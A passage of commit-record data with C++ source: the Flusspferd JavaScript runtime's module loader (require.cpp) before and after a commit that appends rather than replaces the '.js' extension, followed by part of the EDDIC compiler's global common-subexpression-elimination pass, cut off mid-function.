FLUSSPFERD_MODULE_SUFFIX, DIRSEP1);\n    js_name = \"\/\" + process_name(key, \"\", \"\", \".js\", DIRSEP1);\n\n    for (size_t i = 0; i < len; i++) {\n      std::string path = paths.get_element(i).to_std_string();\n      std::string fullpath = path + so_name;\n\n      if (sec.check_path(fullpath, security::READ) &&\n          boost::filesystem::exists(fullpath))\n      {\n#ifdef WIN32\n        HMODULE module = LoadLibrary(fullpath.c_str());\n\n        if (!module)\n          throw exception((\"Unable to load library '\" +fullpath+\"'\").c_str());\n\n        FARPROC symbol = GetProcAddress(module, \"flusspferd_load\");\n\n        if (!symbol)\n          throw exception((\"Unable to load library '\" + fullpath + \"': symbol \"\n                          \"not found\").c_str());\n#else\n        \/\/ Load the .so\n        void *module = dlopen(fullpath.c_str(), RTLD_LAZY);\n        if (!module) {\n          std::stringstream ss;\n          ss << \"Unable to load library '\" << fullpath.c_str()\n             << \"': \" << dlerror();\n          throw exception(ss.str().c_str());\n        }\n\n        dlerror(); \/\/ clear error state\n\n        void *symbol = dlsym(module, \"flusspferd_load\");\n\n        char const *const error_string = dlerror();\n\n        if (error_string) {\n          std::stringstream ss;\n          ss << \"Unable to load library '\" << fullpath.c_str()\n             << \"': \" << error_string;\n          throw exception(ss.str().c_str());\n        }\n#endif\n\n        flusspferd_load_t func = *(flusspferd_load_t*) &symbol;\n\n        func(exports, ctx);\n\n        \/\/ The exports reference might have been changed.\n        module_cache.set_property(key, exports);\n        x.result = exports;\n\n        found = true;\n        break;\n      }\n    }\n\n    for (size_t i = 0; i < len; i++) {\n      std::string path = paths.get_element(i).to_std_string();\n      std::string fullpath = path + js_name;\n\n      if (sec.check_path(fullpath, security::READ) &&\n          boost::filesystem::exists(fullpath))\n      {\n        \/\/value val = flusspferd::execute(fullpath.c_str(), ctx);\n        require_js(x.function, fullpath.c_str(), exports);\n        found = true;\n        break;\n      }\n    }\n\n    if (!found) {\n      std::stringstream ss;\n      ss << \"Unable to find library '\" << key << \"' in [\" << paths_v << \"]\";\n      throw exception(ss.str().c_str());\n    }\n  } catch (...) {\n    if (!module_cache.is_null())\n      module_cache.delete_property(key);\n\n    x.function.set_property(\"id\", flusspferd::string(module));\n    throw;\n  }\n\n  x.function.set_property(\"id\", flusspferd::string(module));\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ vim:ts=2:sw=2:expandtab:autoindent:filetype=cpp:\n\/*\nThe MIT License\n\nCopyright (c) 2008, 2009 Flusspferd contributors (see \"CONTRIBUTORS\" or\n                                       http:\/\/flusspferd.org\/contributors.txt)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#include \"flusspferd\/modules.hpp\"\n#include \"flusspferd\/create.hpp\"\n#include \"flusspferd\/security.hpp\"\n#include \"flusspferd\/evaluate.hpp\"\n#include \"flusspferd\/value_io.hpp\"\n#include \"flusspferd\/io\/file.hpp\"\n#include \"flusspferd\/io\/filesystem-base.hpp\"\n#include \"flusspferd\/binary.hpp\"\n#include \"flusspferd\/encodings.hpp\"\n#include <boost\/filesystem\/fstream.hpp>\n#include <boost\/foreach.hpp>\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <sstream>\n\n#ifdef WIN32\n#include <windows.h>\n#else\n#define SHLIBPREFIX \"lib\"\n#include <dlfcn.h>\n#endif\n\n\nusing namespace flusspferd;\n\nnamespace algo = boost::algorithm;\nnamespace fs = boost::filesystem;\n\n\nstatic fs::path make_dsoname(std::string const &id);\n\n\/\/ Create |require| function on container.\nvoid flusspferd::load_require_function(object container) {\n  container.set_property(\"require\", require::create_require());\n}\n\n\nrequire::require()\n  : native_function_base(1, \"require\"),\n    module_cache(create_object()),\n    paths(create_array()),\n    alias(create_object()),\n    preload(create_object())\n{ }\n\n\/\/ Copy constructor. Keep the same JS objects for the state variables\nrequire::require(require const &rhs)\n  : native_function_base(1, \"require\"),\n    module_cache(rhs.module_cache),\n    paths(rhs.paths),\n    alias(rhs.alias),\n    preload(rhs.preload)\n{ }\n\nrequire::~require() {}\n\n\/\/ Static helper method to actually create |require| function objects\nobject require::create_require() {\n  object fn = create_native_functor_function<require>(object());\n  require* r = static_cast<require*>(native_function_base::get_native(fn));\n\n  const property_flag perm_ro = permanent_property | read_only_property;\n\n  fn.define_property(\"module_cache\", r->module_cache, perm_ro);\n  fn.define_property(\"paths\", r->paths, perm_ro);\n  fn.define_property(\"alias\", r->alias, perm_ro);\n  fn.define_property(\"preload\", r->preload, perm_ro);\n  return fn;\n}\n\n\/\/ Each module wants a different |require| object, so that it can have a\n\/\/ different require.id property\nobject require::new_require_function(string const &id) {\n  \/\/ Use the copy ctor form to share the JS state variables.\n  object new_req = create_native_functor_function<require>(object(), *this);\n  new_req.set_prototype(*this);\n\n  new_req.define_property(\"id\", id, permanent_property|read_only_property);\n\n  return new_req;\n}\n\n\/\/ The implementation of the |require()| function that is available to JS\nvoid require::call(call_context &x) {\n  std::string id = x.arg[0].to_std_string();\n\n  \/\/ If what ever they require is already loaded, give it to them\n  if (module_cache.has_own_property(id)) {\n    x.result = module_cache.get_property(id);\n    return;\n  }\n\n  id_classification type = classify_id(id);\n\n  if (type == top_level) {\n    x.result = load_top_level_module(id);\n    return;\n  }\n\n  fs::path module_path;\n  if (type == relative) {\n    module_path = resolve_relative_id( id );\n    id = module_path.string();\n  }\n  else if (type == fully_qualified) {\n    id = id.substr(strlen(\"file:\/\/\"));\n    module_path = io::fs_base::canonicalize( id );\n  }\n  id = \"file:\/\/\" + id;\n\n\n  \/\/ If what ever the file resolves to is already loaded, give it to them\n  if (module_cache.has_own_property(id)) {\n    x.result = module_cache.get_property(id);\n    return;\n  }\n\n  x.result = load_absolute_js_file(module_path, id);\n}\n\n#include <iostream>\n\nstring transcode_js_file(fs::path filename) {\n  io::file &f = create_native_object<io::file>(\n    object(),\n    filename.string().c_str(),\n    value(\"r\")\n  );\n\n  \/\/ buffer blob\n  byte_array &blob = create_native_object<byte_array>(\n    object(),\n    static_cast<binary::element_type*>(0),\n    0\n  );\n  binary::vector_type &buf = blob.get_data();\n\n  \/\/ Look for a shebang line\n  f.read_binary(2, blob);\n\n  if (buf[0] == '#' && buf[1] == '!') {\n    \/\/ Shebang line - skip the line, but insert an empty one in there to keep\n    \/\/ source line numbers right\n    buf.clear();\n    buf.push_back('\\n');\n    f.read_line(value(\"\\n\"));\n  }\n  f.read_whole_binary(blob);\n\n  \/\/ TODO: Some way of supporting other encodings is probably useful\n  return encodings::convert_to_string(\"UTF-8\", blob);\n\n}\n\n\/\/\/ Load the given @c filename as a module\nvoid require::require_js(fs::path filename, std::string const &id, object exports) {\n  class StrictModeScopeGuard {\n      bool old_strict;\n    public:\n      StrictModeScopeGuard(bool v) : old_strict(v) {}\n\n      ~StrictModeScopeGuard() {\n        flusspferd::current_context().set_strict(old_strict);\n      }\n  };\n  \/\/ Reset the strict mode when we leave (the REPL might have it off)\n  StrictModeScopeGuard guard(flusspferd::current_context().set_strict(true));\n\n  local_root_scope root_scope;\n\n  string module_text = transcode_js_file(filename);\n\n  std::vector<std::string> argnames;\n  argnames.push_back(\"exports\");\n  argnames.push_back(\"require\");\n  argnames.push_back(\"module\");\n\n  std::string fname = filename.string();\n  function fn = ::flusspferd::create_function(\n      fname, argnames.size(), argnames,\n      module_text, fname.c_str(), 1ul);\n\n  object module = create_object();\n  module.set_property(\"uri\", id);\n  module.set_property(\"id\", id);\n\n  object require = new_require_function(id);\n\n  fn.call(fn, exports, require, module);\n}\n\n\/\/\/ What type of require id is @c id\nrequire::id_classification require::classify_id(std::string const &id) {\n  if (algo::starts_with(id, \".\/\") || algo::starts_with(id, \"..\/\"))\n    return relative;\n  if (algo::starts_with(id, \"file:\/\/\"))\n    return fully_qualified;\n  return top_level;\n}\n\n\/**\n * Resolve a realtive ID (as passed to require) using the current module id\n * returning a canonical filename\n *\n * @param id The require id to resolve into an absolute path\n * @return boost::filesystem::path object\n *\/\nfs::path require::resolve_relative_id(std::string const &id) {\n\n  fs::path module(current_id().substr(strlen(\"file:\/\/\")));\n  module.remove_filename();\n\n  return io::fs_base::canonicalize( module \/ id ).replace_extension(\".js\");\n}\n\n\n\/\/ Utility class to remove |module_cache[id]| in case of an exception\nclass ExportsScopeGuard {\n    object module_cache;\n    std::string id;\n  public:\n    ExportsScopeGuard(object _cache, std::string _id)\n      : module_cache(_cache),\n        id(_id)\n    {}\n\n    ~ExportsScopeGuard() {\n      if (!module_cache.is_null())\n        module_cache.delete_property(id);\n    }\n\n    void exit_cleanly() {\n      \/\/ Replace object with null\n      module_cache = object();\n    }\n};\n\n\n\nobject load_native_module(fs::path const &dso_name, object exports) {\n  std::string const &fullpath = dso_name.string();\n#ifdef WIN32\n  HMODULE module = LoadLibrary(fullpath.c_str());\n\n  \/\/ TODO: Imrpove error message\n  if (!module)\n    throw exception((\"Unable to load library '\" +fullpath+\"'\"));\n\n  FARPROC symbol = GetProcAddress(module, \"flusspferd_load\");\n\n  if (!symbol)\n    throw exception((\"Unable to load library '\" + fullpath + \"': symbol \"\n                    \"not found\"));\n#else\n  \/\/ Load the .so\n  void *module = dlopen(fullpath.c_str(), RTLD_LAZY);\n  if (!module) {\n    std::stringstream ss;\n    ss << \"Unable to load library '\" << fullpath\n       << \"': \" << dlerror();\n    throw exception(ss.str());\n  }\n\n  dlerror(); \/\/ clear error state\n\n  void *symbol = dlsym(module, \"flusspferd_load\");\n\n  char const *const error_string = dlerror();\n\n    if (error_string) {\n      std::stringstream ss;\n      ss << \"Unable to load library '\" << fullpath\n         << \"': \" << error_string;\n      throw exception(ss.str());\n    }\n#endif\n\n  flusspferd_load_t func = *(flusspferd_load_t*) &symbol;\n\n  object context = global();\n  func(exports, context);\n\n  return exports;\n}\n\nstd::string require::current_id() {\n  return get_property(\"id\").to_std_string();\n}\n\n\n\/\/ Loading of top-level IDs is more complex then relative or abs uris\n\/\/ We need to check alias and prelaod, and also search the require paths for\n\/\/ .js files and DSOs\nobject require::load_top_level_module(std::string &id) {\n  security &sec = security::get();\n\n  object classes_object = flusspferd::global();\n  object ctx = flusspferd::create_object(classes_object);\n  ctx.set_parent(classes_object);\n\n  root_object exports(create_object());\n\n  ctx.define_property(\n    \"exports\",\n    exports,\n    read_only_property | permanent_property);\n\n  ExportsScopeGuard scope_guard(module_cache, id);\n  module_cache.set_property(id, exports);\n\n  if (!preload.is_null()) {\n    \/\/ Check for 'preloaded' module\n    value loader = preload.get_property(id);\n    if (loader.is_object() && !loader.is_null()) {\n      object o = loader.get_object();\n      o.call(ctx);\n      scope_guard.exit_cleanly();\n\n      return exports;\n    }\n  }\n\n  size_t len = paths.length();\n  bool found = false;\n\n  fs::path dso_name = make_dsoname(id);\n\n  for (size_t i = 0; i < len; i++) {\n    fs::path path = io::fs_base::canonicalize(paths.get_element(i).to_std_string());\n    fs::path native_path = path \/ dso_name;\n    if (sec.check_path(native_path.string(), security::READ) &&\n        fs::exists(native_path) )\n    {\n      found = true;\n      load_native_module(native_path, exports);\n      break;\n    }\n  }\n\n  fs::path js_name = fs::path(id).replace_extension(\".js\");\n\n  for (size_t i = 0; i < len; i++) {\n    fs::path path = io::fs_base::canonicalize(paths.get_element(i).to_std_string());\n\n    fs::path js_path = path \/ js_name;\n\n    \/\/ Check if we loaded something by this name previously, even if the file\n    \/\/ doesn't exist anymore\n    std::string new_id = \"file:\/\/\" + js_path.string();\n    if (module_cache.has_own_property(new_id)) {\n      exports = module_cache.get_property_object(new_id);\n      found = true;\n      break;\n    }\n\n    if ( !fs::exists(js_path) )\n      continue;\n\n    found = true;\n\n    \/\/ Cache it under the top-level and fully-qualified ids\n    ExportsScopeGuard scope_guard2(module_cache, new_id);\n    module_cache.set_property(new_id, exports);\n\n    require_js(js_path, new_id, exports);\n    scope_guard2.exit_cleanly();\n    break;\n  }\n\n  if (found)\n    scope_guard.exit_cleanly();\n  else {\n    std::stringstream ss;\n    ss << \"Unable to find library '\" << id << \"' in [\" << paths << \"]\";\n    throw exception(ss.str());\n  }\n\n  return exports;\n}\n\n\nobject require::load_absolute_js_file(fs::path path, std::string &id) {\n  security &sec = security::get();\n\n  ExportsScopeGuard scope_guard(module_cache, id);\n  if (sec.check_path(path.string(), security::READ) &&\n      fs::exists(path))\n  {\n    root_object exports(create_object());\n\n    module_cache.set_property(id, exports);\n    require_js(path, id, exports);\n    scope_guard.exit_cleanly();\n    return exports;\n  }\n\n  std::stringstream ss;\n  ss << \"Unable to load library '\" << id;\n  throw exception(ss.str());\n}\n\n\nstatic fs::path make_dsoname(std::string const &id) {\n  fs::path p(id);\n\n  p.replace_extension(FLUSSPFERD_MODULE_SUFFIX);\n#ifdef SHLIBPREFIX\n  std::string file = SHLIBPREFIX + p.filename();\n  p = p.remove_filename() \/ file;\n#endif\n\n  return p;\n}\n\n<commit_msg>core\/require: Don't replace extension, add to it.<commit_after>\/\/ vim:ts=2:sw=2:expandtab:autoindent:filetype=cpp:\n\/*\nThe MIT License\n\nCopyright (c) 2008, 2009 Flusspferd contributors (see \"CONTRIBUTORS\" or\n                                       http:\/\/flusspferd.org\/contributors.txt)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#include \"flusspferd\/modules.hpp\"\n#include \"flusspferd\/create.hpp\"\n#include \"flusspferd\/security.hpp\"\n#include \"flusspferd\/evaluate.hpp\"\n#include \"flusspferd\/value_io.hpp\"\n#include \"flusspferd\/io\/file.hpp\"\n#include \"flusspferd\/io\/filesystem-base.hpp\"\n#include \"flusspferd\/binary.hpp\"\n#include \"flusspferd\/encodings.hpp\"\n#include <boost\/filesystem\/fstream.hpp>\n#include <boost\/foreach.hpp>\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <sstream>\n\n#ifdef WIN32\n#include <windows.h>\n#else\n#define SHLIBPREFIX \"lib\"\n#include <dlfcn.h>\n#endif\n\n\nusing namespace flusspferd;\n\nnamespace algo = boost::algorithm;\nnamespace fs = boost::filesystem;\n\n\nstatic fs::path make_dsoname(std::string const &id);\n\n\/\/ Create |require| function on container.\nvoid flusspferd::load_require_function(object container) {\n  container.set_property(\"require\", require::create_require());\n}\n\n\nrequire::require()\n  : native_function_base(1, \"require\"),\n    module_cache(create_object()),\n    paths(create_array()),\n    alias(create_object()),\n    preload(create_object())\n{ }\n\n\/\/ Copy constructor. Keep the same JS objects for the state variables\nrequire::require(require const &rhs)\n  : native_function_base(1, \"require\"),\n    module_cache(rhs.module_cache),\n    paths(rhs.paths),\n    alias(rhs.alias),\n    preload(rhs.preload)\n{ }\n\nrequire::~require() {}\n\n\/\/ Static helper method to actually create |require| function objects\nobject require::create_require() {\n  object fn = create_native_functor_function<require>(object());\n  require* r = static_cast<require*>(native_function_base::get_native(fn));\n\n  const property_flag perm_ro = permanent_property | read_only_property;\n\n  fn.define_property(\"module_cache\", r->module_cache, perm_ro);\n  fn.define_property(\"paths\", r->paths, perm_ro);\n  fn.define_property(\"alias\", r->alias, perm_ro);\n  fn.define_property(\"preload\", r->preload, perm_ro);\n  return fn;\n}\n\n\/\/ Each module wants a different |require| object, so that it can have a\n\/\/ different require.id property\nobject require::new_require_function(string const &id) {\n  \/\/ Use the copy ctor form to share the JS state variables.\n  object new_req = create_native_functor_function<require>(object(), *this);\n  new_req.set_prototype(*this);\n\n  new_req.define_property(\"id\", id, permanent_property|read_only_property);\n\n  return new_req;\n}\n\n\/\/ The implementation of the |require()| function that is available to JS\nvoid require::call(call_context &x) {\n  std::string id = x.arg[0].to_std_string();\n\n  \/\/ If what ever they require is already loaded, give it to them\n  if (module_cache.has_own_property(id)) {\n    x.result = module_cache.get_property(id);\n    return;\n  }\n\n  id_classification type = classify_id(id);\n\n  if (type == top_level) {\n    x.result = load_top_level_module(id);\n    return;\n  }\n\n  fs::path module_path;\n  if (type == relative) {\n    module_path = resolve_relative_id( id );\n    id = module_path.string();\n  }\n  else if (type == fully_qualified) {\n    id = id.substr(strlen(\"file:\/\/\"));\n    module_path = io::fs_base::canonicalize( id );\n  }\n  id = \"file:\/\/\" + id;\n\n\n  \/\/ If what ever the file resolves to is already loaded, give it to them\n  if (module_cache.has_own_property(id)) {\n    x.result = module_cache.get_property(id);\n    return;\n  }\n\n  x.result = load_absolute_js_file(module_path, id);\n}\n\n#include <iostream>\n\nstring transcode_js_file(fs::path filename) {\n  io::file &f = create_native_object<io::file>(\n    object(),\n    filename.string().c_str(),\n    value(\"r\")\n  );\n\n  \/\/ buffer blob\n  byte_array &blob = create_native_object<byte_array>(\n    object(),\n    static_cast<binary::element_type*>(0),\n    0\n  );\n  binary::vector_type &buf = blob.get_data();\n\n  \/\/ Look for a shebang line\n  f.read_binary(2, blob);\n\n  if (buf[0] == '#' && buf[1] == '!') {\n    \/\/ Shebang line - skip the line, but insert an empty one in there to keep\n    \/\/ source line numbers right\n    buf.clear();\n    buf.push_back('\\n');\n    f.read_line(value(\"\\n\"));\n  }\n  f.read_whole_binary(blob);\n\n  \/\/ TODO: Some way of supporting other encodings is probably useful\n  return encodings::convert_to_string(\"UTF-8\", blob);\n\n}\n\n\/\/\/ Load the given @c filename as a module\nvoid require::require_js(fs::path filename, std::string const &id, object exports) {\n  class StrictModeScopeGuard {\n      bool old_strict;\n    public:\n      StrictModeScopeGuard(bool v) : old_strict(v) {}\n\n      ~StrictModeScopeGuard() {\n        flusspferd::current_context().set_strict(old_strict);\n      }\n  };\n  \/\/ Reset the strict mode when we leave (the REPL might have it off)\n  StrictModeScopeGuard guard(flusspferd::current_context().set_strict(true));\n\n  local_root_scope root_scope;\n\n  string module_text = transcode_js_file(filename);\n\n  std::vector<std::string> argnames;\n  argnames.push_back(\"exports\");\n  argnames.push_back(\"require\");\n  argnames.push_back(\"module\");\n\n  std::string fname = filename.string();\n  function fn = ::flusspferd::create_function(\n      fname, argnames.size(), argnames,\n      module_text, fname.c_str(), 1ul);\n\n  object module = create_object();\n  module.set_property(\"uri\", id);\n  module.set_property(\"id\", id);\n\n  object require = new_require_function(id);\n\n  fn.call(fn, exports, require, module);\n}\n\n\/\/\/ What type of require id is @c id\nrequire::id_classification require::classify_id(std::string const &id) {\n  if (algo::starts_with(id, \".\/\") || algo::starts_with(id, \"..\/\"))\n    return relative;\n  if (algo::starts_with(id, \"file:\/\/\"))\n    return fully_qualified;\n  return top_level;\n}\n\n\/**\n * Resolve a realtive ID (as passed to require) using the current module id\n * returning a canonical filename\n *\n * @param id The require id to resolve into an absolute path\n * @return boost::filesystem::path object\n *\/\nfs::path require::resolve_relative_id(std::string const &id) {\n\n  fs::path module(current_id().substr(strlen(\"file:\/\/\")));\n  module.remove_filename();\n\n  return io::fs_base::canonicalize( module \/ id ).replace_extension(\".js\");\n}\n\n\n\/\/ Utility class to remove |module_cache[id]| in case of an exception\nclass ExportsScopeGuard {\n    object module_cache;\n    std::string id;\n  public:\n    ExportsScopeGuard(object _cache, std::string _id)\n      : module_cache(_cache),\n        id(_id)\n    {}\n\n    ~ExportsScopeGuard() {\n      if (!module_cache.is_null())\n        module_cache.delete_property(id);\n    }\n\n    void exit_cleanly() {\n      \/\/ Replace object with null\n      module_cache = object();\n    }\n};\n\n\n\nobject load_native_module(fs::path const &dso_name, object exports) {\n  std::string const &fullpath = dso_name.string();\n#ifdef WIN32\n  HMODULE module = LoadLibrary(fullpath.c_str());\n\n  \/\/ TODO: Imrpove error message\n  if (!module)\n    throw exception((\"Unable to load library '\" +fullpath+\"'\"));\n\n  FARPROC symbol = GetProcAddress(module, \"flusspferd_load\");\n\n  if (!symbol)\n    throw exception((\"Unable to load library '\" + fullpath + \"': symbol \"\n                    \"not found\"));\n#else\n  \/\/ Load the .so\n  void *module = dlopen(fullpath.c_str(), RTLD_LAZY);\n  if (!module) {\n    std::stringstream ss;\n    ss << \"Unable to load library '\" << fullpath\n       << \"': \" << dlerror();\n    throw exception(ss.str());\n  }\n\n  dlerror(); \/\/ clear error state\n\n  void *symbol = dlsym(module, \"flusspferd_load\");\n\n  char const *const error_string = dlerror();\n\n    if (error_string) {\n      std::stringstream ss;\n      ss << \"Unable to load library '\" << fullpath\n         << \"': \" << error_string;\n      throw exception(ss.str());\n    }\n#endif\n\n  flusspferd_load_t func = *(flusspferd_load_t*) &symbol;\n\n  object context = global();\n  func(exports, context);\n\n  return exports;\n}\n\nstd::string require::current_id() {\n  return get_property(\"id\").to_std_string();\n}\n\n\n\/\/ Loading of top-level IDs is more complex then relative or abs uris\n\/\/ We need to check alias and prelaod, and also search the require paths for\n\/\/ .js files and DSOs\nobject require::load_top_level_module(std::string &id) {\n  security &sec = security::get();\n\n  object classes_object = flusspferd::global();\n  object ctx = flusspferd::create_object(classes_object);\n  ctx.set_parent(classes_object);\n\n  root_object exports(create_object());\n\n  ctx.define_property(\n    \"exports\",\n    exports,\n    read_only_property | permanent_property);\n\n  ExportsScopeGuard scope_guard(module_cache, id);\n  module_cache.set_property(id, exports);\n\n  if (!preload.is_null()) {\n    \/\/ Check for 'preloaded' module\n    value loader = preload.get_property(id);\n    if (loader.is_object() && !loader.is_null()) {\n      object o = loader.get_object();\n      o.call(ctx);\n      scope_guard.exit_cleanly();\n\n      return exports;\n    }\n  }\n\n  size_t len = paths.length();\n  bool found = false;\n\n  fs::path dso_name = make_dsoname(id);\n\n  for (size_t i = 0; i < len; i++) {\n    fs::path path = io::fs_base::canonicalize(paths.get_element(i).to_std_string());\n    fs::path native_path = path \/ dso_name;\n    if (sec.check_path(native_path.string(), security::READ) &&\n        fs::exists(native_path) )\n    {\n      found = true;\n      load_native_module(native_path, exports);\n      break;\n    }\n  }\n\n  fs::path js_name = fs::path(id + \".js\");\n\n  for (size_t i = 0; i < len; i++) {\n    fs::path path = io::fs_base::canonicalize(paths.get_element(i).to_std_string());\n\n    fs::path js_path = path \/ js_name;\n\n    \/\/ Check if we loaded something by this name previously, even if the file\n    \/\/ doesn't exist anymore\n    std::string new_id = \"file:\/\/\" + js_path.string();\n    if (module_cache.has_own_property(new_id)) {\n      exports = module_cache.get_property_object(new_id);\n      found = true;\n      break;\n    }\n\n    if ( !fs::exists(js_path) )\n      continue;\n\n    found = true;\n\n    \/\/ Cache it under the top-level and fully-qualified ids\n    ExportsScopeGuard scope_guard2(module_cache, new_id);\n    module_cache.set_property(new_id, exports);\n\n    require_js(js_path, new_id, exports);\n    scope_guard2.exit_cleanly();\n    break;\n  }\n\n  if (found)\n    scope_guard.exit_cleanly();\n  else {\n    std::stringstream ss;\n    ss << \"Unable to find library '\" << id << \"' in [\" << paths << \"]\";\n    throw exception(ss.str());\n  }\n\n  return exports;\n}\n\n\nobject require::load_absolute_js_file(fs::path path, std::string &id) {\n  security &sec = security::get();\n\n  ExportsScopeGuard scope_guard(module_cache, id);\n  if (sec.check_path(path.string(), security::READ) &&\n      fs::exists(path))\n  {\n    root_object exports(create_object());\n\n    module_cache.set_property(id, exports);\n    require_js(path, id, exports);\n    scope_guard.exit_cleanly();\n    return exports;\n  }\n\n  std::stringstream ss;\n  ss << \"Unable to load library '\" << id;\n  throw exception(ss.str());\n}\n\n\nstatic fs::path make_dsoname(std::string const &id) {\n  fs::path p(id);\n\n  p.replace_extension(FLUSSPFERD_MODULE_SUFFIX);\n#ifdef SHLIBPREFIX\n  std::string file = SHLIBPREFIX + p.filename();\n  p = p.remove_filename() \/ file;\n#endif\n\n  return p;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011-2013.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include <algorithm>\n\n#include \"assert.hpp\"\n#include \"Variable.hpp\"\n#include \"FunctionContext.hpp\"\n#include \"Type.hpp\"\n#include \"iterators.hpp\"\n#include \"GlobalContext.hpp\"\n\n#include \"mtac\/global_cse.hpp\"\n#include \"mtac\/Utils.hpp\"\n#include \"mtac\/Quadruple.hpp\"\n\nusing namespace eddic;\n\ntypedef mtac::global_cse::ProblemDomain ProblemDomain;\n\nvoid mtac::global_cse::meet(ProblemDomain& in, const ProblemDomain& out){\n    eddic_assert(!in.top() || !out.top(), \"At least one lattice should not be a top element\");\n\n    if(in.top()){\n        in = out;\n    } else if(out.top()){\n        \/\/in does not change\n    } else {\n        auto& first = in.values();\n        auto& second = out.values();\n        \n        std::set<expression> intersection;\n\n        std::set_intersection(first.begin(), first.end(), second.begin(), second.end(), std::inserter(intersection, intersection.begin()));\n\n        in.values() = std::move(intersection);\n    }\n}\n\nProblemDomain mtac::global_cse::Boundary(mtac::Function&){\n    return ProblemDomain(ProblemDomain::Values());\n}\n\nProblemDomain mtac::global_cse::Init(mtac::Function& function){\n    if(init){\n        ProblemDomain result(*init);\n        return result;\n    }\n    \n    this->function = &function;\n        \n    pointer_escaped = mtac::escape_analysis(function);\n\n    typename ProblemDomain::Values values;\n    \n    \/\/Compute Eval(i)\n\n    for(auto& block : function){\n        for(auto& q : block->statements){\n            if(mtac::is_expression(q.op) && mtac::is_valid(q, pointer_escaped) && mtac::is_interesting(q)){\n                Eval[block].insert({0, *q.arg1, *q.arg2, q.op, nullptr, q.result->type()});\n            }\n\n            mtac::kill_expressions(q, Eval[block]);\n        }\n    }\n\n    \/\/Compute Kill(i)\n    \n    for(auto& block : function){\n        for(auto& q : block->statements){\n            auto op = q.op;\n            if(mtac::erase_result(op) || op == mtac::Operator::DOT_ASSIGN || op == mtac::Operator::DOT_FASSIGN || op == mtac::Operator::DOT_PASSIGN){\n                for(auto& b : function){\n                    if(b != block){\n                        for(auto& expression : Eval[b]){\n                            if(mtac::is_killing(q, expression)){\n                                Kill[block].insert(expression);\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    Expressions expressions;\n\n    \/\/Compute Uexp\n\n    for(auto& block : function){\n        for(auto& expression : Eval[block]){\n            expressions.insert(expression);\n        }\n    }\n\n    init = expressions;\n    \n    ProblemDomain result(expressions);\n    return result;\n}\n\nvoid mtac::global_cse::transfer(mtac::basic_block_p basic_block, ProblemDomain& out){\n    auto& out_values = out.values();\n    auto it = out_values.begin();\n\n    \/\/Compute AEin - Kill(i)\n\n    while(it != out_values.end()){\n        if(Kill[basic_block].find(*it) != Kill[basic_block].end()){\n            it = out_values.erase(it);\n            continue;\n        }\n\n        ++it;\n    }\n\n    \/\/Compute Eval(i) U (AEin - Kill(i))\n\n    for(auto& expression : Eval[basic_block]){\n        out_values.insert(expression);\n    }\n}\n\nnamespace {\n\nvoid search_path(const mtac::expression& exp, std::shared_ptr<Variable>& tj, mtac::Operator op, mtac::basic_block_p& block){\n   auto it = block->end();\n   auto end = block->begin();\n\n   do {\n        --it;\n        \n        auto& quadruple = *it;    \n        if(mtac::are_equivalent(quadruple, exp)){\n            quadruple.op = op;\n            quadruple.arg1 = tj;\n            quadruple.arg2.reset();\n\n            block->statements.insert(it, mtac::Quadruple(tj, exp.arg1, exp.op, exp.arg2));\n\n            return;\n        }\n   } while(it != end);\n\n   eddic_assert(!block->predecessors.empty(), \"There must be an equivalent expression on each backward path\");\n\n   for(auto& P : block->predecessors){\n       if(P != block){\n           search_path(exp, tj, op, P);\n       }\n   }\n}\n\n} \/\/end of anonymous namespace\n\nbool mtac::global_cse::optimize(mtac::Function& function, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>> global_results){\n    bool changes = false;\n\n    for(auto& i : function){\n        if(global_results->IN[i].top()){\n            continue;\n        }\n\n        auto& AEin = global_results->IN[i].values();\n\n        for(auto& exp : Eval[i]){\n            if(AEin.find(exp) != AEin.end()){\n                function.context->global()->stats().inc_counter(\"common_subexpr_eliminated\");\n\n                auto it = i->begin();\n\n                while(!mtac::are_equivalent(*it, exp)){\n                    ++it;\n                }\n\n                auto& quadruple = *it;\n\n                